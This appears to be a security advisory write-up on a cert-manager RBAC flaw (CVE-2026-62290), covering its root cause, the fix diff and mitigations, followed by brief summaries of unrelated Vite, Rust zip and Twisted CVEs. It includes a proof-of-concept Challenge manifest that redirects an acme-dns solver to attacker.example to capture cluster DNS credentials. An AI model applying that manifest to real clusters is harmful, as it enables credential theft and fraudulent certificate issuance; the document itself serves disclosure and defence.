Oct 30, 2026·9 min read·2 visits
Overly permissive default aggregate RBAC rules in cert-manager allow namespace users with 'edit' permissions to directly create ACME Challenge resources. Because the ACME challenge controller trusts the solver configuration embedded inside a Challenge resource while deriving credential access authority from the referenced ClusterIssuer, an attacker can craft a Challenge that redirects cluster-scoped DNS credentials to an attacker-controlled server or performs unauthorized DNS record mutations across protected zones.
CVE-2026-62290 is an incorrect authorization vulnerability (CWE-863) in cert-manager that allows low-privileged Kubernetes namespace tenants to bypass ClusterIssuer DNS01 solver policies and exfiltrate cluster-scoped DNS credentials. By directly creating standalone ACME Challenge custom resources rather than going through the standard Certificate and Order workflow, an attacker can specify arbitrary solver provider configurations while referencing a privileged ClusterIssuer. The cert-manager ACME challenge controller reconciles these directly instantiated Challenge resources without verifying their parentage or validating the user-supplied solver parameters against the referenced ClusterIssuer's selector policies.
cert-manager is a native Kubernetes certificate management controller that automates the issuance and renewal of TLS certificates from various issuing sources, including ACME providers such as Let's Encrypt. In a standard multi-tenant Kubernetes architecture, platform administrators configure cluster-wide ClusterIssuer resources backed by privileged cloud DNS credentials or secret tokens stored in a restricted namespace (typically cert-manager). Tenant users request certificates within their respective namespaces by creating Certificate or CertificateRequest resources.
Under normal operation, the cert-manager controllers translate a Certificate into an Order (acme.cert-manager.io/v1) and subsequently into one or more Challenge (acme.cert-manager.io/v1) resources. During this orchestration, the Order controller evaluates the solver selector policies defined on the target ClusterIssuer—such as dnsZones, dnsNames, or matchLabels—to ensure the tenant is only permitted to solve challenges for authorized domains using the administrator-defined DNS provider configuration.
CVE-2026-62290 (GHSA-8rvj-mm4h-c258) stems from an incorrect authorization defect (CWE-863) in how cert-manager handles the lifecycle and RBAC permissions of Challenge custom resources. Prior to versions v1.19.6 and v1.20.3, the default Helm chart granted create permissions on challenges.acme.cert-manager.io to the standard Kubernetes aggregate edit ClusterRole. Because the ACME challenge controller reconciles standalone Challenge objects without verifying that they were instantiated by a legitimate Order or validating their embedded spec.solver configuration against the referenced ClusterIssuer, any namespace user with edit permissions can bypass solver selector restrictions and force the controller to execute arbitrary DNS01 solver actions using cluster-scoped credentials.
The root cause of CVE-2026-62290 is an architectural trust mismatch across three distinct components of cert-manager: the default RBAC aggregation rules, the validating admission webhook, and the ACME challenge reconciliation loop.
First, the Challenge custom resource definition (deploy/crds/acme.cert-manager.io_challenges.yaml) exposes spec.solver and spec.issuerRef as directly writable fields in the resource specification. In the standard workflow, the Order controller (pkg/controller/acmeorders/util.go and pkg/util/solverpicker/solverpicker.go) evaluates the ClusterIssuer selector policy and copies the matching solver configuration into Challenge.spec.solver. However, deploy/charts/cert-manager/templates/rbac.yaml aggregated create permissions for challenges and orders into the default edit role, allowing regular namespace users to create Challenge resources directly.
Second, the validating admission webhook in internal/apis/acme/validation/challenge.go (specifically ValidateChallenge at lines 44–45) performs no validation on creation to verify that a Challenge resource is owned by a valid Order controller flow, nor does it check that the user-supplied Challenge.spec.solver matches a solver configured on the referenced Issuer or ClusterIssuer.
Third, when the challenge scheduler (pkg/controller/acmechallenges/scheduler/scheduler.go:51-58) and controller (pkg/controller/acmechallenges/sync.go:139-183) reconcile a Challenge, they determine the credential boundary purely from Challenge.spec.issuerRef. As implemented in pkg/controller/helper.go:39-44, 66-72, if spec.issuerRef.kind is set to ClusterIssuer, the controller sets the secret lookup namespace to the privileged cluster resource namespace (e.g., cert-manager) and enables ambient cloud credentials (such as AWS IRSA or GCP Workload Identity). Simultaneously, the DNS solver presentation logic (pkg/issuer/acme/dns/dns.go:81, 180-187) reads the DNS provider parameters—including custom API endpoints and secret references—directly from the untrusted Challenge.spec.solver field.
The vulnerability spans the interaction between the controller's solver execution path and the RBAC permissions granted to namespace users. When pkg/issuer/acme/dns/dns.go executes the Present method for a DNS01 challenge, it extracts the solver configuration from the Challenge object (ch.Spec.Solver.DNS01) while resolving referenced secrets from the namespace dictated by the Issuer or ClusterIssuer.
To remediate this issue in v1.19.6 (commit b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16) and v1.20.3 (commit 6bda47297c8fbc6b121b8b76624b668d26f1a155), the cert-manager maintainers modified the Helm chart RBAC template (deploy/charts/cert-manager/templates/rbac.yaml) to remove the create verb for challenges and create, patch, and update verbs for orders from the cert-manager-edit ClusterRole.
@@ -514,9 +514,23 @@ rules:
- apiGroups: ["cert-manager.io"]
resources: ["certificates/status"]
verbs: ["update"]
+ {{- /*
+ Challenge and Order resources are not intended to be created or
+ modified directly by users.
+
+ Challenges: "create" is excluded. "patch" and "update" are retained
+ because spec is immutable after creation (ValidateChallengeUpdate)
+ and because users need them to remove stuck finalizers
+ (see cert-manager/cert-manager#3851, cert-manager/cert-manager#3870).
+
+ Orders: "create", "patch", and "update" are excluded.
+ */}}
- apiGroups: ["acme.cert-manager.io"]
- resources: ["challenges", "orders"]
- verbs: ["create", "delete", "deletecollection", "patch", "update"]
+ resources: ["challenges"]
+ verbs: ["delete", "deletecollection", "patch", "update"]
+ - apiGroups: ["acme.cert-manager.io"]
+ resources: ["orders"]
+ verbs: ["delete", "deletecollection"]> [!IMPORTANT]
> Fix Completeness Assessment: The upstream patch addresses the vulnerability solely through RBAC restriction rather than modifying the controller reconciliation logic or admission webhook validation. Notice that patch and update verbs are intentionally retained on challenges so users can remove stuck finalizers from existing Challenge objects. This relies on ValidateChallengeUpdate in the validating admission webhook to enforce immutability on Challenge.spec after creation.
Because the underlying controller in pkg/controller/acmechallenges still trusts Challenge.spec.solver unconditionally, two residual risk conditions remain after upgrading:
Role or ClusterRole definitions that explicitly grant create on challenges.acme.cert-manager.io (or wildcard * on acme.cert-manager.io) to untrusted users remains exploitable.cert-manager validating webhook is disabled or fails open (failurePolicy: Ignore), an attacker who holds patch or update permissions on an existing Challenge resource could mutate Challenge.spec.solver prior to reconciliation.Exploitation requires a low-privileged Kubernetes principal with permission to create challenges.acme.cert-manager.io in any namespace, alongside an active ClusterIssuer configured for DNS01 challenges. Depending on the DNS provider architecture used by the cluster, an attacker can achieve either direct credential exfiltration or unauthorized DNS record manipulation.
acme-dns RedirectionWhen a ClusterIssuer uses acme-dns (or another webhook/HTTP-based DNS provider that supports a configurable host URL), it stores account credentials in a Secret within the cert-manager namespace. An attacker can craft a standalone Challenge referencing the ClusterIssuer and the secret name (cluster-acmedns-account), while overriding spec.solver.dns01.acmeDNS.host to point to an attacker-controlled server.
apiVersion: acme.cert-manager.io/v1
kind: Challenge
metadata:
name: direct-dns01
namespace: tenant
spec:
authorizationURL: https://attacker.example/acme/authz/1
dnsName: victim.example.com
issuerRef:
group: cert-manager.io
kind: ClusterIssuer
name: cluster-prod
key: attacker-key
token: attacker-token
type: DNS-01
url: https://attacker.example/acme/chal/1
solver:
dns01:
acmeDNS:
host: https://attacker.example/acmedns
accountSecretRef:
name: cluster-acmedns-account
key: accounts.jsonWhen the ACME challenge controller reconciles this Challenge, it loads cluster-acmedns-account from the cert-manager namespace, parses accounts.json for the matching victim.example.com domain key, and sends an HTTP POST request to https://attacker.example/acmedns/update. The request headers include X-Api-User and X-Api-Key populated directly from the restricted secret.
When a ClusterIssuer uses cloud DNS providers (such as AWS Route53, Google Cloud DNS, Azure DNS, or Cloudflare) backed by ambient IAM credentials (e.g., AWS IRSA) or stored API tokens, administrators often restrict which domains tenants can request by configuring selector.dnsZones on the ClusterIssuer. By submitting a direct Challenge resource with spec.dnsName set to a restricted domain and spec.solver.dns01 configured for the cloud provider, the attacker completely bypasses the Order controller's solverpicker evaluation. The challenge controller uses its ambient IAM role or cluster secret to create _acme-challenge.<dnsName> TXT records containing the attacker-specified spec.key in the target hosted zone, allowing the attacker to complete out-of-band ACME challenges for unauthorized domains.
CVE-2026-62290 carries a CVSS v3.1 base score of 7.3 (High) with the vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N. The Scope is Changed (S:C) because a vulnerability in the Kubernetes namespace-scoped RBAC and controller boundary allows a tenant user to compromise credentials and DNS zones managed at the cluster and external cloud infrastructure levels.
cert-manager namespace (such as acme-dns credentials or API keys sent to custom solver endpoints) that are otherwise inaccessible to tenant service accounts or users.dnsZones / dnsNames selectors) on ClusterIssuer resources to create arbitrary _acme-challenge TXT records in DNS zones controlled by the cert-manager instance's stored or ambient cloud credentials. This allows the attacker to fraudulently satisfy ACME DNS-01 challenges with an external ACME server and obtain valid TLS certificates for unauthorized domains.According to FIRST EPSS metrics, the vulnerability currently has an exploitation probability score of 0.00112 (0.11%, ~1.35th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Single-tenant clusters where all users with namespace edit privileges are already trusted with cluster-wide DNS credentials are unaffected by this boundary bypass.
Cluster administrators should upgrade cert-manager to the patched maintenance releases that remove create permissions on Challenge and Order resources from the default aggregate edit ClusterRole:
1.18.x and 1.19.x series: Upgrade to v1.19.6 or later.1.20.x series: Upgrade to v1.20.3 or later.If an immediate upgrade is not feasible, administrators can manually patch the cert-manager-edit ClusterRole to remove the create verb on challenges and orders:
kubectl patch clusterrole cert-manager-edit --type='json' -p='[
{"op": "replace", "path": "/rules/1/resources", "value": ["challenges"]},
{"op": "replace", "path": "/rules/1/verbs", "value": ["delete", "deletecollection", "patch", "update"]},
{"op": "add", "path": "/rules/-", "value": {"apiGroups": ["acme.cert-manager.io"], "resources": ["orders"], "verbs": ["delete", "deletecollection"]}}
]'Additionally, because upgrading cert-manager only fixes the default Helm chart RBAC templates, all administrators should audit their clusters for custom Role and ClusterRole objects that grant create or * verbs on challenges.acme.cert-manager.io:
kubectl get roles,clusterroles -A -o json | jq -r '
.items[] | select(.rules[]? | select((.resources[]? == "challenges" or .resources[]? == "*") and (.apiGroups[]? == "acme.cert-manager.io" or .apiGroups[]? == "*") and (.verbs[]? == "create" or .verbs[]? == "*"))) | "\(.kind)/\(.metadata.namespace // "cluster-scoped")/\(.metadata.name)"
'To eliminate the underlying architectural trust issue where the controller reconciles standalone Challenge objects created outside the Order controller workflow, administrators on Kubernetes 1.30+ can deploy a ValidatingAdmissionPolicy (or an equivalent Kyverno/Gatekeeper policy) restricting Challenge creation exclusively to the cert-manager controller service account:
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
name: restrict-acme-challenge-creation
spec:
failurePolicy: Fail
matchConstraints:
resourceRules:
- apiGroups: ["acme.cert-manager.io"]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["challenges"]
validations:
- expression: "request.userInfo.username == 'system:serviceaccount:cert-manager:cert-manager'"
message: "Direct creation of ACME Challenge resources is restricted to the cert-manager controller."
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
name: restrict-acme-challenge-creation-binding
spec:
policyName: restrict-acme-challenge-creation
validationActions: [Deny]CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
cert-manager cert-manager | >= 1.18.0, < 1.19.6 | 1.19.6 |
cert-manager cert-manager | >= 1.20.0, < 1.20.3 | 1.20.3 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-863: Incorrect Authorization |
| CVSS v3.1 Score | 7.3 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Affected Component | cert-manager ACME Challenge Controller & Default Helm RBAC |
| Attack Vector | Direct creation of standalone Challenge CRDs referencing a ClusterIssuer |
| Security Impact | Cluster-scoped DNS credential exfiltration and DNS01 solver policy bypass |
| EPSS Score | 0.11% (1.35th percentile) |
| Exploit Status | Proof-of-Concept verified in upstream advisory |
| Patched Versions | v1.19.6, v1.20.3 |
The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly prove that the actor has the required permissions to perform that action under the requested context.
CVE-2026-118662 (also tracked as GHSA-8g5g-mxqh-grgj) is an improper access control and path canonicalization vulnerability in the Vite frontend build and development tool. In version 6.4.4, the Vite development server fails to strip transform and loader query parameters before evaluating file paths against the `server.fs.deny` configuration directive. When the development server is exposed to a network and sensitive files located within `server.fs.allow` match patterns in `server.fs.deny`, an unauthenticated remote attacker can bypass file access restrictions by appending specific query strings such as `?raw` or `?inline` to HTTP requests. This allows arbitrary retrieval of restricted files, including environment configuration files and private cryptographic keys.
A vulnerability in the Rust `zip` crate (versions 1.3.0 prior to 9.0.0) allows an attacker to trigger an uncatchable process abort via a crafted ZIP archive. When extracting symbolic link entries on Unix or Windows targets, `ZipArchive::extract` passes the untrusted, attacker-controlled `uncompressed_size` header value directly to `Vec::with_capacity` before reading or validating entry payload data. By supplying a 112-byte archive with a ZIP64 extended information field declaring an excessive uncompressed size, an attacker forces the memory allocator to fail and invoke `handle_alloc_error()`, immediately terminating the entire process with `SIGABRT`.
CVE-2026-115906 is a cryptographic authentication bypass vulnerability in the Rust zip library (zip-rs/zip2) affecting versions from 0.6.0 prior to 9.0.0. In the WinZip AE-x AES decryption reader implementation within src/aes.rs, the HMAC-SHA1-80 authentication tag is only validated when the internal byte counter (data_remaining) decrements to exactly zero. Because this counter is initialized from the unauthenticated compressed_size header field, an attacker can craft a ZIP archive where the entry stream hits premature physical end-of-file (EOF) before data_remaining reaches zero, causing the reader to return Ok(0) and skip HMAC verification entirely.
CVE-2026-115908 (GHSA-hjqx-j4rw-g7xv) is a high-severity path traversal and link-following vulnerability in the Rust zip library (zip-rs/zip2) affecting versions >= 7.2.0 and < 9.0.0. Because ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir validate symbolic link targets solely via lexical prefix comparisons rather than resolving intermediate filesystem links, an attacker who knows or can guess the absolute extraction path can construct multi-hop symlink chains that escape the destination directory, enabling arbitrary file creation and overwrite with the privileges of the extracting process.
CVE-2026-115907 is an uncontrolled resource consumption vulnerability in the Rust zip crate (versions 5.1.0 through 8.6.0, and 9.0.0 pre-releases) when compiled with the optional legacy-zip feature flag. The vulnerability resides in the legacy decompression decoders—Shrink, Reduce, and Implode—which directly pass an archive-declared 64-bit uncompressed size from a ZIP64 extended information extra field to Vec::reserve() before validating the compressed data stream. By supplying a malformed ZIP archive with a declared uncompressed size exceeding isize::MAX (such as u64::MAX), an unauthenticated attacker can trigger an unhandled capacity overflow panic in the Rust standard library allocator, terminating the calling thread or aborting the entire process.
Twisted versions up to and including 26.4.0 are vulnerable to an unauthenticated remote denial-of-service attack via the HTTP/2 Rapid Reset technique (a variant of CVE-2023-44487). The HTTP/2 connection handler in twisted.web processes pipelined HEADERS and RST_STREAM frames sequentially within the same TCP segment. Because the request dispatch and synchronous rendering occur upon receiving the StreamEnded event before the subsequent StreamReset event is evaluated, an attacker can force the server to expend CPU cycles rendering responses while immediately evicting stream state to bypass concurrent stream limits.